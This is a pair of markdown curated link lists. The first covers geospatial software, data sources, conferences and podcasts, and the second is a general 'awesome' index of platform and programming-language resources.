* [Apple MapKit](https://developer.apple.com/documentation/mapkit) - Display map or satellite imagery directly from your app's interface, call out points of interest, and determine placemark information for map coordinates.
* [GEOSwift](https://github.com/GEOSwift/GEOSwift) - The Swift Geographic Engine.
* [Mapbox Navigation SDK for iOS](https://github.com/mapbox/mapbox-navigation-ios) - Turn-by-turn navigation logic and UI in Swift or Objective-C on iOS.
* [MapboxDirections.swift](https://github.com/mapbox/MapboxDirections.swift) - Traffic-aware directions in Swift or Objective-C on iOS, macOS, tvOS, and watchOS.
* [turf-swift](https://github.com/mapbox/turf-swift) - A Swift language port of Turf.js.
## Mobile Development
* [Apple MapKit](https://developer.apple.com/documentation/mapkit) - Display map or satellite imagery directly from your app's interface, call out points of interest, and determine placemark information for map coordinates.
* [flutter_map](https://github.com/fleaflet/flutter_map) - A Dart implementation of Leaflet for Flutter apps.
* [Google Maps API for Android](https://developers.google.com/maps/android/) - Google maps for Android.
* [Google Maps API for iOS](https://developers.google.com/maps/ios/) - Google maps for iOS.
* [Mapbox Android SDK](https://www.mapbox.com/android-sdk/) - An open source toolset for building mapping applications for Android devices.
* [Mapbox iOS SDK](https://www.mapbox.com/ios-sdk/) - An open source toolset for building mapping applications for iPhone and iPad devices.
* [mapbox-navigation-android](https://github.com/mapbox/mapbox-navigation-android) - Mapbox Navigation SDK for Android.
* [MapLibre GL Native](https://github.com/maplibre/maplibre-gl-native) - The open-source alternative to Mapbox GL Native. SDKs for iOS, Android and other platforms
* [MAPS.ME](https://github.com/mapsme/omim) - MAPS.ME — Offline OpenStreetMap maps for iOS and Android.
* [Nutiteq Maps SDK](https://github.com/nutiteq) - C++ maps library for iOS, Android, Windows Phone and Xamarin with bindings for Java, ObjectiveC and C#.
* [Organic Maps](https://github.com/organicmaps/organicmaps) - Organic Maps is a better fork of MAPS.ME, an Android & iOS offline maps app for travelers, tourists, hikers, and cyclists based on top of crowd-sourced OpenStreetMap data and curated with love by MAPS.ME founders. No ads, no tracking, no data collection, no crapware.
* [WhirlyGlobe/Maply](http://mousebird.github.io/WhirlyGlobe/) - Objective C code that is able to read and render vector tiles(and style with mapnik xml) on iOS devices.
* [XaMaps](https://github.com/AlexPshul/XaMaps) - Xamarin + Azure Maps.
* [XFAzureMapTrials](https://github.com/Druffl3/XFAzureMapTrials) - Use Azure Maps REST APIs with Xamarin.Forms.
## Geospatial Big Data
* [Apache Sedona](https://sedona.apache.org/latest-snapshot/) - Cluster computing system for processing large-scale spatial data
* [geobeam](https://github.com/GoogleCloudPlatform/dataflow-geobeam) - geobeam adds GIS capabilities to your Apache Beam pipelines and enables you to ingest and analyze massive amounts of geospatial data in parallel using Dataflow.
* [GeoMesa](https://github.com/locationtech/geomesa) - GeoMesa is a suite of tools for working with big geo-spatial data in a distributed fashion.
* [GeoTrellis](https://github.com/locationtech/geotrellis) - GeoTrellis is a geographic data processing engine for high performance applications.
* [GeoWave](https://github.com/locationtech/geowave) - GeoWave provides geospatial and temporal indexing on top of Accumulo and HBase.
* [Google Earth Engine](https://earthengine.google.com/) - Is a cloud computing platform for processing satellite imagery and other Earth observation data.
## Visualization
* [Blender GIS](https://github.com/domlysz/BlenderGIS) - Blender addons to make the bridge between Blender and geographic data.
* [bv](https://github.com/daleroberts/bv) - bv is a small tool to quickly view high-resolution multi-band imagery directly in your iTerm 2.
* [Cinder](https://libcinder.org/) - Cinder is a free and open source library for professional-quality creative coding in C++.
* [circlize](https://github.com/jokergoo/circlize) - Circular visualization in R. Circular layout is an efficient way for the visualization of huge amounts of information.
* [CityEngine-Twitter](https://github.com/urschrei/CityEngine-Twitter) - Visualise Twitter activity using a procedurally-generated 3D city model.
* [CometTS](https://github.com/CosmiQ/CometTS) - Comet Time Series Toolset for working with a time-series of remote sensing imagery and user defined polygons.
* [D3.js](https://d3js.org/) - D3.js is a JavaScript library for manipulating documents based on data.
* [Folium](https://github.com/python-visualization/folium) - Python Data. Leaflet.js Maps.
* [GeoJs](https://github.com/OpenGeoscience/geojs) - High-performance visualization and interactive data exploration of scientific and geospatial location aware datasets.
* [geoplot](https://github.com/ResidentMario/geoplot) - High-level Python geospatial plotting library. It's an extension to cartopy and matplotlib which makes mapping easy.
* [GeoViews](https://github.com/holoviz/geoviews) - GeoViews is a Python library that makes it easy to explore and visualize any data that includes geographic locations.
* [Go Cart](https://github.com/Flow-Based-Cartograms/go_cart) - Fast cartogram generator written in C.
* [Kongsberg Geospatial's TerraLens SDK](https://www.kongsberggeospatial.com/products/terralens) - SDK designed for easy project integration and quick implementation in virtually any development environment. TerraLens provides real-time 2D and 3D mapping with powerful data visualization tools.
* [Kosmtik](https://github.com/kosmtik/kosmtik) - Very lite but extendable mapping framework to create Mapnik ready maps with OpenStreetMap data (and more).
* [mapdeck](https://github.com/SymbolixAU/mapdeck) - R interface to Deck.gl and Mapbox.
* [mplleaflet](https://github.com/jwass/mplleaflet) - Easily convert matplotlib plots from Python into interactive Leaflet web maps.
* [openFrameworks](http://openframeworks.cc/) - openFrameworks is an open source C++ toolkit for creative coding.
* [P5.js](https://p5js.org/) - Javascript library that starts with the original goal of Processing.
* [Peak map](https://github.com/anvaka/peak-map) - Allows you to visualize elevation of any area on the map with filled area charts.
* [PlotJuggler](https://github.com/facontidavide/PlotJuggler) - PlotJuggler is a tool to visualize time series that is fast, powerful and intuitive.
* [PostGIS Preview](https://github.com/NYCPlanning/labs-postgis-preview) - A lightweight node api and frontend for quickly previewing PostGIS queries.
* [procedural-gl-js](https://github.com/felixpalmer/procedural-gl-js) - Procedural GL JS is a library for creating 3D map experiences on the web, written in JavaScript and WebGL. It is built on top THREE.js.
* [Processing.py](http://py.processing.org/) - Python mode for Processing.
* [Processing](https://processing.org/) - Processing is a flexible software sketchbook and a language for learning how to code within the context of the visual arts.
* [Skia](https://skia.org/) - Skia is a complete 2D graphic library for drawing Text, Geometries, and Images.
* [Strava](https://github.com/marcusvolz/strava) - Create artistic visualisations with your exercise data.
* [three.js](https://threejs.org/) - A javascript 3D library which makes WebGL simpler
* [tippecanoe](https://github.com/mapbox/tippecanoe) - Build vector tilesets from large collections of GeoJSON features.
* [xarray_leaflet](https://github.com/davidbrochart/xarray_leaflet) - An xarray extension for tiled map plotting.
## Tools
* [52North SOS](http://52north.org/communities/sensorweb/sos/) - A reference implementation of the [OGC Sensor Observation Service specification (version 2.0)]
* [CODA](http://stcorp.github.io/coda/doc/html/index.html) - The Common Data Access toolbox (CODA) provides a set of tools for ingesting, processing, and analyzing remote sensing data.
* [DataPillager](https://github.com/gdherbert/DataPillager) - Download data from Esri service.
* [DroneDB](https://github.com/DroneDB/DroneDB) - Effortless aerial data management and sharing.
* [DsgTools](https://github.com/dsgoficial/DsgTools) - DSGTools is a QGIS plugin that allow users to create and manipulate Geospatial Data according to Brazilian Law (ET-EDGV 2.1.3 and ET-EDGV 3.0)
* [exactextract](https://github.com/isciences/exactextract) - Provides a fast and accurate algorithm for summarizing values in the portion of a raster dataset that is covered by a polygon, often referred to as zonal statistics.
* [fresco](https://github.com/go-spatial/fresco) - Fresco is an open source Mapbox Vector Tile Style editor that allows cartographers to craft stylesheets for use with Mapbox GL maps.
* [gdal-mini](https://github.com/rouault/gdal-mini) - Minimal version of GDAL.
* [Generic Mapping Tools](https://github.com/GenericMappingTools/gmt) - GMT is an open source collection of about 90 command-line tools for manipulating geographic and Cartesian data sets.
* [GeoGig](http://geogig.org/) - GeoGig is a Distributed Version Control System (DVCS) specially designed to handle geospatial data efficiently.
* [GISWATER](https://www.giswater.org/?lang=en) - Open-source software for water cycle management (water supply and urban drainage).
* [GrADS](http://cola.gmu.edu/grads/) - The Grid Analysis and Display System (GrADS) is an interactive desktop tool that is used for easy access, manipulation, and visualization of earth science data.
* [Kart](https://kartproject.org/) - Distributed version-control
for geospatial and tabular data.
* [Kongsberg Geospatial's TerraLens SDK](https://www.kongsberggeospatial.com/products/terralens) - SDK designed for easy project integration and quick implementation in virtually any development environment. TerraLens provides real-time 2D and 3D mapping with powerful data visualization tools.
* [landsat-espa-util](https://github.com/loicdtx/landsat-espa-util) - Library for querying and ordering Landsat Surface Reflectance data via ESPA.
* [Magrit](https://github.com/riatelab/magrit) - Magrit is an online application for thematic mapping.
* [MapShaper](http://mapshaper.org/) - Tools for editing Shapefile, GeoJSON, TopoJSON and CSV files.
* [Maptiks](https://maptiks.com/) - Maptiks its a tool that provides in-depth user insights by tracking how visitors click, pan and zoom on your maps.
* [MapTiler Desktop](https://www.maptiler.com/desktop/) - Software for converting your data into fast zoomable maps. Load your image or geodata and get a tiled map.
* [Mapus](https://github.com/alyssaxuu/mapus) - Mapus is a tool to explore and annotate collaboratively on a map.
* [Open Location Code](https://github.com/google/open-location-code) - Open Location Code is a library to generate short codes, called "plus codes", that can be used as digital addresses where street addresses don't exist.
* [opensarkit](https://github.com/openforis/opensarkit) - Tools for Automatic Preprocessing of SAR Imagery.
* [Osm2pgsql](https://github.com/openstreetmap/osm2pgsql) - osm2pgsql is a tool for loading OpenStreetMap data into a PostgreSQL.
* [Planetiler](https://github.com/onthegomap/planetiler) - Flexible tool to build planet-scale vector tilesets from OpenStreetMap data in a few hours.
* [Projection Wizard](http://projectionwizard.org/) - Helps you select an appropriate projection for your map, depending on the area that you are mapping.
* [sat-search](https://github.com/sat-utils/sat-search) - Sat-search is a Python 3 library and a command line tool for discovering and downloading publicly available satellite imagery using STAC compliant API.
* [TileMill](https://tilemill-project.github.io/tilemill/) - TileMill is a modern map design studio powered by Node.js and Mapnik.
* [veins](https://github.com/sommer/veins) - Open source vehicular network simulation framework.
* [eodag](https://github.com/CS-SI/eodag) - Command line tool and a plugin-oriented Python framework for searching, aggregating results and downloading remote sensed images while offering a unified API for data access regardless of the data provider.
* [nextgisweb](https://github.com/nextgis/nextgisweb) - Server based application/server-side framework for geodata storage, management and visualization.
## Cheat sheets
* [Fiona-Rasterio-Shapely Cheat Sheet](https://github.com/sgillies/frs-cheat-sheet) - A cheat sheet for Fiona/Rasterio/Shapely command-line geodata tools.
* [GDAL](https://github.com/dwtkns/gdal-cheat-sheet) - Cheat sheet for GDAL/OGR command-line tools.
* [GNU Parallel](https://www.gnu.org/software/parallel/parallel_cheat.pdf) - Cheat sheet for the GNU Parallel CLI tool.
* [PostGIS 2](https://gist.github.com/kidpixo/5698476) - Cheat sheet for PostGIS (version 2)
* [PostGIS Raster](http://www.postgis.us/downloads/postgis20_raster_cheatsheet.pdf) - Cheat sheet for PostGIS Raster manipulation.
* [PostGIS](http://www.postgis.us/downloads/postgis21_cheatsheet.pdf) - Cheat sheet for PostGIS.
## Data Sources
* [AIforEarthDataSets](https://github.com/microsoft/AIforEarthDataSets) - Notebooks and documentation for AI-for-Earth-managed datasets on Azure Open Datasets.
* [ASTER Data](https://terra.nasa.gov/data/aster-data) - Download ASTER data.
* [Callisto Generated Datasets](https://github.com/Agri-Hub/Callisto-Dataset-Collection) - A list of datasets aiming to enable Artificial Intelligence applications that use Copernicus data.
* [CBERS on AWS](https://github.com/fredliporace/cbers-on-aws) - Information, tools and data related to the China-Brazil Earth Resources Satellite (CBERS) PDS on AWS.
* [Cityscapes Dataset](https://www.cityscapes-dataset.com/) - large-scale dataset that contains a diverse set of stereo video sequences recorded in street scenes from 50 different cities, with high quality pixel-level annotations of 5 000 frames in addition to a larger set of 20 000 weakly annotated frames.
* [Copernicus Open Access Hub](https://scihub.copernicus.eu/dhus/#/home) - Sentinel data from scihub.
* [RoadDetections](https://github.com/microsoft/RoadDetections) - Road detections from Microsoft Maps aerial imagery.
* [Geofabrik](http://download.geofabrik.de/) - This is another source of prepared OpenStreetMap data. This distribution is generally built nightly and comes in OSM XML, pbf, and shapefile (for very popular areas) formats.
* [GeoNames](http://www.geonames.org/) - The GeoNames geographical database covers all countries and contains over eight million place names (cities, postal codes, countries) that are available for download free of charge.
* [INPE Database](http://www.dgi.inpe.br/CDSR/) - Download free satellite data including MODIS, Landsat (1-8), ResourceSat (1-2) and CBERS (2 and 2B) data.
* [INPE CBERS4A and Amazonia1 Database](http://www2.dgi.inpe.br/catalogo/explore) - Download free CBERS 4A and Amazonia 1 images.
* [MapTiler Data](https://www.maptiler.com/data/) - Ready-to-use geographic data. The very best of open geospatial data, processed and packaged for your next on-prem project. Available as vector/raster tiles and in GIS formats.
* [Mapzen](https://mapzen.com/metro-extracts) - It provides data in OSM/PBF and Esri shapefile formats for popular cities.
* [Natural Earth](http://www.naturalearthdata.com/) - This site offers public domain map data sets that contain both raster and vector data.
* [Scale Open Datasets](https://scale.com/open-datasets?utm_campaign=Spatial%20Awareness&utm_medium=email&utm_source=Revue%20newsletter) - Open Datasets for Autonomous Driving.
* [Sentinel 2 AWS](http://sentinel-pds.s3-website.eu-central-1.amazonaws.com/) - Sentinel 2 data on Amazon S3.
* [TZ Timezone Shapefiles](http://efele.net/maps/tz/world/) - Polygon boundaries of world timezones.
* [USGS Earth Explorer](http://earthexplorer.usgs.gov/) - Provides online search,metadata export, and data download for earth science data from the archives of the USGS.
## Resources
* [Cartographical Map Projections](http://www.progonos.com/furuti/MapProj/Normal/TOC/cartTOC.html) - A good introduction to projected coordinate systems.
* [Cloud Optimized Point Cloud Specification](https://github.com/copcio/copcio.github.io) - Geospatial, compressed, range-readable, LAZ-compatible point cloud format.
* [ESRI Shapefile Specs](http://www.esri.com/library/whitepapers/pdfs/shapefile.pdf) - Shapefile specifications.
* [GDAL/OGR Cookbook](https://pcjericks.github.io/py-gdalogr-cookbook/) - Simple code snippets on how to use the Python GDAL/OGR API.
* [GeoJSON.io](http://geojson.io/) - geojson.io is a quick, simple tool for creating, viewing, and sharing maps.
* [GeoParquet](https://github.com/opengeospatial/geoparquet) - Specification for storing geospatial vector data (point, line, polygon) in Parquet.
* [Geopython](https://github.com/urschrei/Geopython) - Notebooks and libraries for spatial/geo Python explorations.
* [GIGS](https://gigs.iogp.org/) - GIGS comprises qualitative test series checklists and quantitative test dataset files.
* [IndexDatabase](http://www.indexdatabase.de/) - A database for remote sensing indices.
* [LOLManuscriptMonday](https://github.com/ladiesoflandsat/LOLManuscriptMonday) - Hold the links to the Ladies of Landsat Manuscript Monday series.
* [Spatialreference.org](http://spatialreference.org/) - Source for coordinate system information.
* [TileJSON.io](http://tilejson.io/) - tilejson.io is a simple viewer for raster tile sets (Enter tile URL, layer properties, share).
## Conferences
* [ESRI User Conference](https://www.esri.com/en-us/about/events/uc/overview) - Esri International User Conference is an event dedicated to geographic information system technology.
* [FOSS4G](http://foss4g.org/) - Free and Open Source Software for Geospatial.
* [FOSSGIS](https://fossgis.de/) - Yearly conference of the German OpenStreetMap chapter and FOSS GIS community
* [Geo For Good Summit](https://earthoutreachonair.withgoogle.com/events/geoforgood21) - Annual conference, hosted by Google, geared toward nonprofits, scientists, government agencies and other change-makers who want to leverage mapping tools and technology for positive impact in the world.
* [GEOINFO](http://www.geoinfo.info/) - The GEOINFO series (Brazilian Symposium on Geoinformatics) is an annual conference for exploring ongoing research, development and innovative applications on geographic information science and related areas.
* [GeoPython](https://2021.geopython.net/) - The conference is focused on Python and Geo, its toolkits and applications.
* [International Syposium on Digital Earth](https://pcoconvin.eventsair.com/isde23/) - Event dedicated to bring together policy makers and scientists and will explore pathways towards the vision of a ‘Digital Earth
* [International Society for Photogrammetry and Remote Sensing](https://www.isprs2020-nice.com/) - The ISPRS Congress is the leading forum where classical and emergent topics related to photogrammetry, remote sensing, and spatial information sciences are discussed.
* [SBSR](https://2023.sbsr.com.br/) - Bi-annual Brazilian National Symposium on Remote Sensing.
* [Spatial Data Conference](https://spatial-data-science-conference.com/) - Annual Conferece that intersects GIS, Advanced Analytics & Data Science that is growing rapidly & answering some of the most pressing questions in both the private & public sector.
* [State of the Map](https://stateofthemap.org/) - Annual event for all mappers and OpenStreetMap users.
## Podcasts
* [Down To Earth: A podcast for Geoscientists by Geoscientist](https://podcasts.apple.com/us/podcast/down-to-earth-a-podcast-for-geoscientists-by-geoscientist/id1549020890) - 30-minute podcast about innovative geoscience and the incredible people behind it. Each week, we host a different guest to talk about science, careers, and passions.
* [Eyes on Earth](https://www.usgs.gov/centers/eros/science/eyes-earth?qt-science_center_objects=0#qt-science_center_objects) - Eyes on Earth is a podcast on remote sensing, Earth observation, land change and science, brought to you by the USGS Earth Resources Observation and Science (EROS) Center.
* [ESRI & The Science of Where](https://www.esri.com/about/newsroom/podcast/) - Talks about business and technology leaders who share analysis, insights, and stories on data science, the Internet of Things, Smart Communities and other forces driving digital transformation and leveraging the power of location intelligence.
* [GIS Directions](https://esriaustralia.com.au/gis-directions-podcast) - Chat with inspiring GIS users, discuss new industry trends, and dish out plenty of practical pointers.
* [Geoadorable](https://geodorable.com/) - A podcast that may include anything and everything about the geospatial world. From news articles about the GIS industry that take our fancy, interviews with GIS practitioners, random acts of geospatial madness and of course the legendary game Export to Shapefile.
* [Geographical Thinking](https://www.esri.ca/en-ca/news-events/news/podcasts) - Tune in for inspiring stories from thought leaders and GIS users across business, government and education in Canada.
* [Geointeresting](https://podcasts.apple.com/us/podcast/geointeresting/id990858116) - Official podcast of the National Geospatial-Intelligence Agency. Geointeresting features conversations with innovators, explorers and pathfinders.
* [Geomob Podcast](https://thegeomob.com/podcast/) - weekly podcast interviewing anyone doing interesting things in geo, be it for fun or profit.
* [The MapScaping](https://mapscaping.com/blogs/the-mapscaping-podcast) - Weekly podcast featuring interesting people doing amazing work in the geospatial world.
* [Minds Behind Maps](https://minds-behind-maps.simplecast.com/) - Informal conversations with those creating maps, understanding how and why they build them. Earth Observation, Data Science, Business and how smart people combine them all to impact our world.
* [More Than Just Maps](https://urisatexas.org/podcast) - Talks with GIS veterans and geniuses who know a thing or two about how to find your way from student to professional and beyond, while also chatting about some neat tools, tricks, and trends. Presented by the URISA Texas Chapter.
* [Project Geospatial](https://www.projectgeospatial.com/) - Project Geospatial is a web series and blog dedicated to increasing awareness of Geospatial Technology, industry best practices, and GIS resources.
* [Scene From Above](https://scenefromabove.podbean.com/) - Earth observation, remote sensing, geospatial and geeky chat
* [A VerySpatial](https://veryspatial.com/) - A VerySpatial Podcast is your weekly source for information on Geography and geospatial technologies.
## References and other awesome lists
* [Awesome Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision)
* [Awesome Deep Vision](https://github.com/kjw0612/awesome-deep-vision)
* [Awesome DEM](https://github.com/DahnJ/Awesome-DEM) - Overview of Digital Elevation Model (DEM) datasets.
* [Awesome Earth Engine Apps](https://github.com/philippgaertner/awesome-earth-engine-apps)
* [Awesome Geo Rust](https://github.com/pka/awesome-georust)
* [Awesome GIS - sshuair](https://github.com/sshuair/awesome-gis)
* [Awesome Object Detection](https://github.com/amusi/awesome-object-detection)
* [Awesome Python](https://github.com/vinta/awesome-python/blob/master/README.md)
* [Awesome SAR](https://github.com/RadarCODE/awesome-sar)
* [Awesome Satellite Imagery Datasets](https://github.com/chrieke/awesome-satellite-imagery-datasets)
* [Awesome Semantic Segmentation](https://github.com/mrgloom/awesome-semantic-segmentation)
* [Awesome Sentinel](https://github.com/Fernerkundung/awesome-sentinel)
* [Awesome Spatial](https://github.com/RoboDonut/awesome-spatial/blob/master/README.md)
* [Awesome Spectral Indices](https://github.com/awesome-spectral-indices/awesome-spectral-indices)
* [Awesome SQLite](https://github.com/planetopendata/awesome-sqlite)
* [Awesome-EarthObservation-Code](https://github.com/acgeospatial/awesome-earthobservation-code)
* [Digital Earth Australia notebooks and tools repository](https://github.com/GeoscienceAustralia/dea-notebooks)
* [Cartography / mapping / web design resources](https://github.com/tolomaps/resources)
* [Essential Python Geospatial Libraries](http://carsonfarmer.com/2013/07/essential-python-geo-libraries/)
* [GeoJSON](https://github.com/tmcw/awesome-geojson)
* [GeoRails](http://daniel-azuma.com/articles/georails/)
* [JuliaGeo](https://juliageo.org/)
* [satellite-image-deep-learning](https://github.com/robmarkcole/satellite-image-deep-learning)
* [Spatial R](https://cran.r-project.org/web/views/Spatial.html)
* [Vector Tiles](https://github.com/mapbox/awesome-vector-tiles)
|
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<br>
## Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Higher Education](#higher-education)
- [Events](#events)
- [Testing](#testing)
- [Miscellaneous](#miscellaneous)
- [Related](#related)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google.
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android.
- [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/inputsh/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems.
- [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux.
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers.
- [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme)
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages.
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
- [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies.
- [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform.
- [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps.
- [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device.
- [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site.
- [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant.
- [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications.
- [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust.
- [DOS](https://github.com/balintkissdev/awesome-dos#readme) - Operating system for x86-based personal computers that was popular during the 1980s and early 1990s.
- [Nix](https://github.com/nix-community/awesome-nix#readme) - Package manager for Linux and other Unix systems that makes package management reliable and reproducible.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds.
- [Ponyfills](https://github.com/Richienb/awesome-ponyfills#readme) - Like polyfills but without overriding native APIs.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast.
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability.
- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning.
- [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python.
- [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM.
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/sporto/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science.
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/inputsh/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software.
- [R](https://github.com/qinwf/awesome-R#readme) - Functional programming language and environment for statistical computing and graphics.
- [Learning](https://github.com/iamericfletcher/awesome-r-learning-resources#readme)
- [D](https://github.com/dlang-community/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development.
- [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
- [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere".
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
